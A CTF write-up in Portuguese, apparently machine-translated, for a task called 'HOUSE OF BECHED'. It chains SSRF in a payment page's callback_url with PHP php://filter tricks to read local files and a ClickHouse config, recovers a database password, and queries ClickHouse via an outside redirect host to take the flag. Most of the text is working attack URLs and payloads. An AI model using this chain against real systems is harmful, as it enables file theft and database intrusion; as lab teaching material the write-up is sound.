A tarefa é uma página de pagamento, onde o único parâmetro interessante foi callback_url.

Indicamos seu site e atendemos à solicitação:
http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id=
POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0
Uma resposta HTTP será exibida apenas se o site retornou uma sequência alfanumérica. Exemplos de respostas:
{"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."}
Tentamos como callback_url data :, testamos e entendemos que, provavelmente, esse é o PHP.
http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id=
Usamos o filtro php: // para ler arquivos locais e codificar a resposta usando convert.base64-encode, para que a resposta corresponda alfanumérica. Devido aos caracteres +, / e =, às vezes é necessário combinar várias chamadas base64 para exibir uma resposta.
http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php
<?php error_reporting(0); $config = [ 'host' => 'localhost', 'port'
A saída da resposta é limitada a 200 bytes, mas a partir dos fragmentos que aprendemos sobre a disponibilidade do banco de dados no host local. Classificamos as portas via callback_url e encontramos um novo artigo sobre injeção no ClickHouse no blog DeteAct , que corresponde ao estranho nome da tarefa "HOUSE OF BECHED".

O ClickHouse possui uma interface HTTP que permite executar solicitações arbitrárias, o que é muito conveniente para usar no SSRF.
Lemos a documentação, tentamos obter uma conta na configuração.
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
<?xml version="1.0"?> <yandex> <profiles>
Mais uma vez, limitar a saída interfere e, a julgar pelo arquivo padrão, o campo desejado está extremamente distante.

Corte o excesso usando o filtro string.strip_tags.
http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
Mas o comprimento da saída ainda não é suficiente até que a senha seja recebida. Adicione um filtro de compactação zlib.deflate.
http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
E leia localmente na ordem inversa:
print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv'));
Após receber a senha, podemos enviar solicitações ClickHouse da seguinte maneira:
http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx'
Mas desde que enviamos inicialmente o POST, precisamos contornar isso usando o redirecionamento. E a solicitação final acabou assim (nesta fase, eu fui muito burra, porque devido ao grande aninhamento do processamento dos parâmetros, codifiquei incorretamente caracteres especiais e não pude executar a solicitação)
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=
Bem, basta obter os dados do banco de dados:
select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=